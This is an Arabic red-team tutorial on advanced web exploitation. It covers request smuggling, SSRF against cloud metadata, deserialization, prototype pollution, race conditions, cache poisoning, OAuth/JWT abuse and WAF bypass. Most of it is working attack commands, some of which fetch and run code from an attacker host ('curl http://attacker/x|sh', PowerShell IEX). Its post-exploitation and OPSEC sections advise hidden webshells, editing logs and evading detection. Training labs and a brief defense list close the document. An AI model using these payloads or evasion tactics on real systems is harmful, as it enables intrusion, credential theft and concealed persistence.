الويب من منظور الفريق الأحمر — استغلال متعمّق
سلاسل الاستغلال المتقدمة، وتجاوز جدران الحماية (WAF)
مقدمة — الويب ليس OWASP Top 10
هذا الدرس يفترض أنك تتقن OWASP Top 10. هنا نذهب إلى ما يستخدمه فعلياً orange.tw, snyff, albinowax, James Kettle: request smuggling مركّب، prototype pollution → RCE، deserialization gadget chains، SSRF عبر cloud metadata، race conditions على single-packet، OAuth abuse، WAF bypass عبر parser differential.
منهجية Red Team للويب — قبل الاستغلال
قبل ضربة واحدة، ارسم: ما هو CDN؟ Cloudflare/Akamai/Fastly؟ ما هو WAF؟ ما origin server؟ هل خلفه load balancer؟ هل التطبيق Java/Node/Python/Go/.NET؟ كل إجابة تفتح فئة ثغرات و تغلق أخرى.
# أساسيات
curl -sI https://target | head -30 # Server, X-Powered-By, CF-Ray, Via
nslookup target # IP، CNAME، Anycast؟
whatweb -a 4 https://target
wafw00f https://target
# هل الـ origin مكشوف؟
shodan search ssl:"target.com" -c 200 # أو crt.sh + scan IPs مباشرةالـ HTTP parser الذي يعمل على CDN قد يفسر Content-Length بطريقة، و الـ origin بطريقة أخرى. هذا الفرق هو أصل request smuggling. أرسل طلبات malformed خفيفة و راقب الفروق:
# طلب بـ Content-Length و Transfer-Encoding معاً
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGGG' | \
ncat --ssl target 443
# اختلاف الردود = الـ stack vulnerable لـ desync# مسارات admin، debug، API قديم
ffuf -u https://target/FUZZ -w SecLists/Discovery/Web-Content/raft-large-words.txt -mc 200,301,403
# JS bundles قد تكشف endpoints
linkfinder -i 'https://target/static/*.js' -o cli
# parameter discovery
arjun -u https://target/api/v2/users
# subdomain takeover
subzy run --targets subs.txtHTTP Request Smuggling — قلب أبحاث 2019-2026
POST / HTTP/1.1
Host: target
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDCDN يستخدم CL=13 → يمرر كل شيء. Origin يستخدم TE=chunked → يقرأ "0\\r\\n\\r\\n" كنهاية، و SMUGGLED يصبح بداية الطلب التالي.
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
العكس — CDN يأخذ TE، origin يأخذ CL. شائع مع HAProxy/Apache.
في HTTP/2 لا توجد Content-Length — لكن CDN قد يحوّل لـ HTTP/1.1 و يضيف CL خاطئة. ابعث H2 frame مع CL مكذوب → desync حقيقي.
# Burp HTTP Request Smuggler extension
# أو nghttp2 لإرسال frames مخصصة
nghttp -v --header=':method: POST' --header='content-length: 0' \
https://target -d 'XGGG'كشف albinowax: HTTP/1.1 keep-alive + 0.CL يعطي smuggling حتى عبر CDNs ترفض CL/TE. التحدي = توقيت TCP packet boundary.
- سرقة Authorization headers: smuggle طلب تحت اسم ضحية، اخزن الرد المعكوس في cache.
- Cache poisoning: اجعل CDN يخزن صفحتك الخبيثة باسم URL شرعي.
- Internal endpoint bypass: smuggle طلب بـ
Host: localhostأو IP داخلي — يصل لـ admin APIs المحجوبة من الخارج. - Stored XSS via smuggle: استبدل response لمستخدم آخر → JS تحت origin الموقع.
SSRF متقدم — أكثر من جلب URL
# إذا التطبيق يجلب URL من user input
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# الاسم → الـ creds
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME'
# AccessKeyId + SecretAccessKey + Token → الآن أنت EC2 instance# GCP — تتطلب header
curl -H 'Metadata-Flavor: Google' \
'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
# Azure
curl -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'إذا التطبيق يحجب IP literal، جرّب http://169.254.169.254.nip.io، DNS rebinding، أو IPv6 [::ffff:a9fe:a9fe].
# لا ترى الرد؟ استخدم out-of-band
curl 'https://target/api?webhook=http://attacker.burpcollab.net/x'
# أو DNS-only: تحفيز التطبيق على resolve لـ subdomain فريد
curl 'https://target/api?host=$(uuidgen).attacker.com'
# سجل DNS hits → SSRF أُكد# لو SSRF يقبل أي scheme
curl "https://target/fetch?url=gopher://10.0.0.5:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a..."
# تركيب أوامر Redis كاملة → كتابة مفتاح SSH أو cron jobDeserialization — RCE من سلسلة gadget
تطبيقات Java/PHP/Python/.NET/Ruby التي تـ deserialize input غير موثوق هي نقطة RCE تقليدية. الفكرة: لا تنفذ الكود مباشرة — بل تبني سلسلة من استدعاءات الـ getter/setter/magic methods (gadget chain) ينتهي عند Runtime.exec أو system().
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker/x|sh' > p.bin
curl -X POST https://target/api/object \
-H 'Content-Type: application/x-java-serialized-object' \
--data-binary @p.binGadgets: CommonsCollections1-7, Spring1-2, Hibernate1-2, JRMPClient. اختر بناءً على dependencies الموجودة.
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "powershell IEX(IWR http://attacker/p.ps1)" -o base64
# ViewState أو Session
curl 'https://target/Default.aspx' -d "__VIEWSTATE=<base64>"phpggc -u Laravel/RCE9 system "id" | base64 -w0
# طبق على endpoint يعمل unserialize() على cookie أو bodyimport pickle, base64, os
class P:
def __reduce__(self):
return (os.system, ('curl http://attacker/x|sh',))
print(base64.b64encode(pickle.dumps(P())).decode())Prototype Pollution — JS من XSS إلى RCE
Object.prototype. لو تستطيع تعديل __proto__، فأنت تعدّل سلوك كل object في التطبيق — بما فيها كائنات لم تُنشأ بعد. على الـ server (Node.js)، هذا يصل لـ RCE.# Client-side
curl 'https://target/api/merge?__proto__[isAdmin]=true'
# الآن أي {} = isAdmin: true
# Server-side Node.js → RCE
# لو التطبيق يستخدم child_process.spawn أو render template
curl -X POST https://target/api/profile \
-H 'Content-Type: application/json' \
--data '{"__proto__":{"shell":"/bin/sh","argv0":"-c","NODE_OPTIONS":"--inspect-brk=0.0.0.0:9229"}}'
# عند أول spawn → debugger مكشوف → CDP RCE- handlebars/pug/ejs: pollute template helpers → SSTI → RCE.
- express: pollute
settings.view→ render path traversal. - NODE_OPTIONS: pollute env via
process.env.NODE_OPTIONS→ debugger inject.
Race Conditions — Single-Packet Attack (Kettle 2023)
# Burp Suite "Send group in single packet"
# أو turbo-intruder script
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=30, pipeline=False)
for i in range(30):
engine.queue(target.req)
engine.openGate() # يطلق كل الطلبات معاً- كوبون مرة واحدة يُطبّق 30 مرة → خصم 100% من السلة.
- تحويل رصيد — استنزاف double-spending.
- OTP — 6 أرقام × عدد محاولات على جلسات متعددة في نفس الميلي ثانية → bypass rate-limit.
- دعوة مستخدم لمساحة عمل مدفوعة → 30 invite بـ نفس الـ token.
Cache Poisoning — تسليح CDN
# CDN يحدد الـ cache key من URL + بعض headers فقط
# لو التطبيق يعكس X-Forwarded-Host في الرد:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Response: <link href="//attacker.com/style.css">
# CDN يخزن هذا الرد لكل الزوار التاليين على /
# = stored XSS عبر cache على homepageالتقنية الأقوى: Cache Deception. /profile/x.css — التطبيق يخدم profile (يتجاهل .css)، CDN يخزنه كـ static. أي زائر بعدك يرى ملفك الشخصي.
OAuth / OIDC — كيف تكسر تسجيل الدخول
- Open redirect على redirect_uri: إذا التطبيق يقبل
redirect_uri=https://app.com.attacker.com→ تصل code للمهاجم. - Authorization code injection: ضحية يولّد code، أنت تُسلّمه لـ session جلسة أخرى → استلاء على حساب.
- state parameter مفقود → CSRF على ربط حسابات.
- JWT alg=none أو alg=HS256 مع public key كـ secret:
jwt_tool -X i. - kid/jku/x5u injection: أشر لـ JWKS مسيطَر عليه → JWT يثبَت بمفتاحك.
- Refresh token leakage في referer أو localStorage على XSS.
- PKCE bypass: لو السيرفر يقبل code بدون code_verifier → استلاء code → access.
# JWT tool — اختبر الكل دفعة
jwt_tool -t https://target/api -rh "Authorization: Bearer JWT" -M at
# ابحث عن Confused Deputy: JWT signed by IdP A مقبول في app BGraphQL — سطح هجوم منسي
# 1) introspection غالباً مفتوح حتى في prod
curl -X POST https://target/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name fields{name}}}}"}'
# 2) Batching attacks → bypass rate-limit على login
{"query":"mutation { l1: login(u:\"a\",p:\"1\"){t} l2: login(u:\"a\",p:\"2\"){t} ... l1000: login(...) }"}
# 3) Field-level IDOR
{ user(id: 99) { email passwordHash } } # الـ resolver لا يفحص ownership
# 4) Nested query DoS
{ user { friends { friends { friends { ...×10 } } } } }WAF Bypass — معركة الـ parser
الـ WAF يطبّق regex على ما يفهمه. التطبيق يفهم شيئاً مختلفاً قليلاً. الفرق هو سطح الـ bypass.
# WAF يفك URL-encode مرة. التطبيق (PHP/.NET) قد يفك مرتين.
?id=1%2527%2520OR%25201=1
# %25 → % → %27 → 'UnIoN/**/SeLeCt/**/1,2,3
# SQL parsers يقبلون كل التوليفات# WAF يفحص as URL، التطبيق يـ JSON.parse
?filter={"$gt":""} # MongoDB injection# Content-Type: text/plain → WAF يتجاهل، التطبيق يقرأ كـ JSON
curl -H 'Content-Type: text/plain' --data '{"role":"admin"}' \
https://target/api/profile# K (FULLWIDTH K) يصبح K بعد NFKC
?cmd=%EF%BC%AB %EF%BC%A5 %EF%BC%92 # Kerberos? K E 2 ...
# مفيد ضد regex على ASCII فقطWAFs قديمة لا تفحص :authority بنفس صرامة Host. حقن قيم مختلفة → الـ origin يقرأ غير ما يقرأه WAF.
Blind exploitation — عندما لا ترى شيئاً
- OOB (Out-of-Band): Burp Collaborator، interactsh، DNS+HTTP+SMTP. كل subdomain فريد = مؤشر.
- Time-based:
SLEEP(5)في SQLi،setTimeoutفي NoSQL،thread.sleepفي Java SSTI. - Boolean-based: لاحظ تغيّر طول الرد، عدد الأسطر، أو وجود/غياب كلمة معينة.
- Side-channel timing: hash comparison بدون constant-time → تخمين byte-by-byte.
- Cache-based: عملية تكلفتها cache miss تكشف وجود/عدم وجود قيمة.
# مثال blind SSTI Jinja2 مع OOB
curl 'https://target/render?name={{config.__class__.__init__.__globals__["os"].popen("curl http://OOB/?$(id)").read()}}'Post-Exploitation على الويب — بعد RCE
- اقرأ env vars فوراً:
cat /proc/self/environ,env. DB credentials، AWS keys، JWT secrets. - ابحث عن .env / config.yaml / appsettings.json داخل WORKDIR.
- K8s؟
cat /var/run/secrets/kubernetes.io/serviceaccount/token— قد يكون لك RBAC قوي. - Cloud metadata من container: نفس IMDS يعمل من داخل pod غير مقيد.
- SSH keys في home، authorized_keys، known_hosts → خريطة pivot.
- قاعدة بيانات: استخرج users + password hashes + session tokens. المستخدمون يعيدون استخدام كلمات السر.
- زرع backdoor صامت: webshell مخفي في endpoint موجود (مش ملف جديد). أو git hook، أو cron.
- غطِّ آثارك: لا تنفّذ
rm -rf /var/log— ذلك جرس إنذار. عدّل سجلات محددة.
OPSEC للمهاجم على الويب
- لا تستخدم IP بيتك. VPN → VPS → target. إن أمكن، CDN-fronted callback.
- User-Agent يطابق المستهدف: لو الموقع عربي، استخدم Chrome AR. لا تستخدم
python-requests/2.28. - تجنب أنماط الفحص الجماعي. Nuclei بكل templates يضوّي WAF فوراً. استخدم template-by-template مع
--rate-limit 5. - تأخير يدوي على الإجراءات الحرجة. إنسان لا ينفّذ 100 طلب في الثانية.
- اخفِ الـ payload في حقل لا يُسجّل. كثير من التطبيقات تسجّل query string فقط — استخدم body أو cookie.
- لا تستخدم burpcollaborator.net مباشرة في عمليات حساسة. استضف interactsh على دومين خاص.
- تنظيف post-exploitation: كل ملف رفعته، سجل أنشأته، حساب أدخلته — وثّقه ثم أزله.
معامل تطبيقية — تعلّم بالتجربة
- PortSwigger Web Security Academy — أفضل مرجع تفاعلي مجاني.
- HackTheBox / TryHackMe — مسارات web من الأساسي للخبير.
- Bug bounty على HackerOne / Bugcrowd — برامج VDP بدون مكافأة لكنها قانونية للتدريب.
- OWASP Juice Shop / DVWA / WebGoat — معامل محلية.
- كتاب The Web Application Hacker's Handbook — قديم لكنه أساس لا غنى عنه.
- أبحاث James Kettle / Orange Tsai / Sam Curry — اقرأ كل ما يكتبون.
الدفاع — مرجع سريع
- Smuggling: HTTP/2 end-to-end، disable downgrade على CDN، reject ambiguous CL/TE.
- SSRF: قائمة بيضاء صريحة للـ hosts، حظر IP private + link-local + IMDS، IMDSv2 إجباري.
- Deserialization: لا تـ deserialize untrusted. لو لازم — JSON فقط مع schema validation.
- Prototype pollution:
Object.freeze(Object.prototype)+ libraries حديثة. - Race: idempotency keys، DB row locks، single-flight على العمليات الحرجة.
- Cache: cache-key يشمل كل الـ input headers، لا تخزن responses بـ Vary غامض.
- OAuth: PKCE إجباري، state إجباري، redirect_uri exact match.
- GraphQL: عطّل introspection في prod، depth/complexity limits، per-field auth.
- WAF: layered defense — WAF + input validation داخل التطبيق + output encoding.